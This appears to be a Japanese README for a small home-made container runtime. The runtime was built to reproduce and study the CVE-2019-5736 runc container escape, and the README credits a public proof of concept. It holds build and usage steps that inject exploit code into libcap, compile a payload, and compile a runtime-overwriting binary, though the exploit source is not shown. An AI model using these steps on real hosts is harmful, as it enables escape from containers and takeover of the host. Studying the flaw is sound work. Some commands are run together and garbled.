
CVE-2019-5736 を自作のコンテナランタイムに実装し、エクスプロイトを理解する。
CVE-2019-5736 は、エクスプロイトを理解するために浅い自作のコンテナランタイムを使用して実装されています。
エクスプロイトは、twistlock による runc-poc に基づいています(ほぼすべてコピーされています):https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/malicious_image_POC
詳細はコードドキュメントを参照してください。
Usage: quarantine [OPTIONS] [BINARY and its ARGS]
--rootfs: (mandatory) Specify a rootfs for the container.
--urange: Specify a urange start_host:end_host,start_guest.
--grange: Specify a grange start_host:end_host,start_guest.
--uid: Specify the desired UID in the container.
--ugd: Specify the desired GID in the container.
--supp: Append supplementary groups from the specified grange to the process running in the container.
ユーザー名前空間を除くすべての名前空間をアンシェアします。ユーザー名前空間は、urange、grange、uid、gid が指定された場合など、特別な状況下でアンシェアされます。
これは Ubuntu 18.04 でテストおよび実行されました。
mkdir rootfssudo debootstrap bionic ./rootfsgit clone https://github.com/mhiramat/libcapcat exploit_code_for_shared_lib.c >> <any cap*.c, I used cap_alloc.c>makelibcap.so に簡単にリンクできるようにします
sudo chroot rootfsapt install libcap-devlibcap.so.2.25 ファイルを適切な rootfs ディレクトリにコピーします
-sudo cp libcap.so.2.25 rootfs/lib/x86_64-linux-gnu
ldd quarantine例: sudo ./quarantine --rootfs rootfs /shebang_exploit または ./quarantine --rootfs rootfs --uid 1 /shebang_exploit。
これは、ホスト上で CAP_DAC_OVERRIDE または CAP_SYS_ADMIN のいずれかを保持している限り(つまり、sudo を使用するときにユーザー名前空間をアンシェアしない限り、これは親名前空間でケイパビリティをドロップするため)、またはホスト上でファイルを所有している限り機能します。
sudo cp shebang_exploit rootfs/sudo gcc -o rootfs/root/payload payload.csudo gcc -o rootfs/overwrite_sndbx_runtime overwrite_sndbx_runtime.c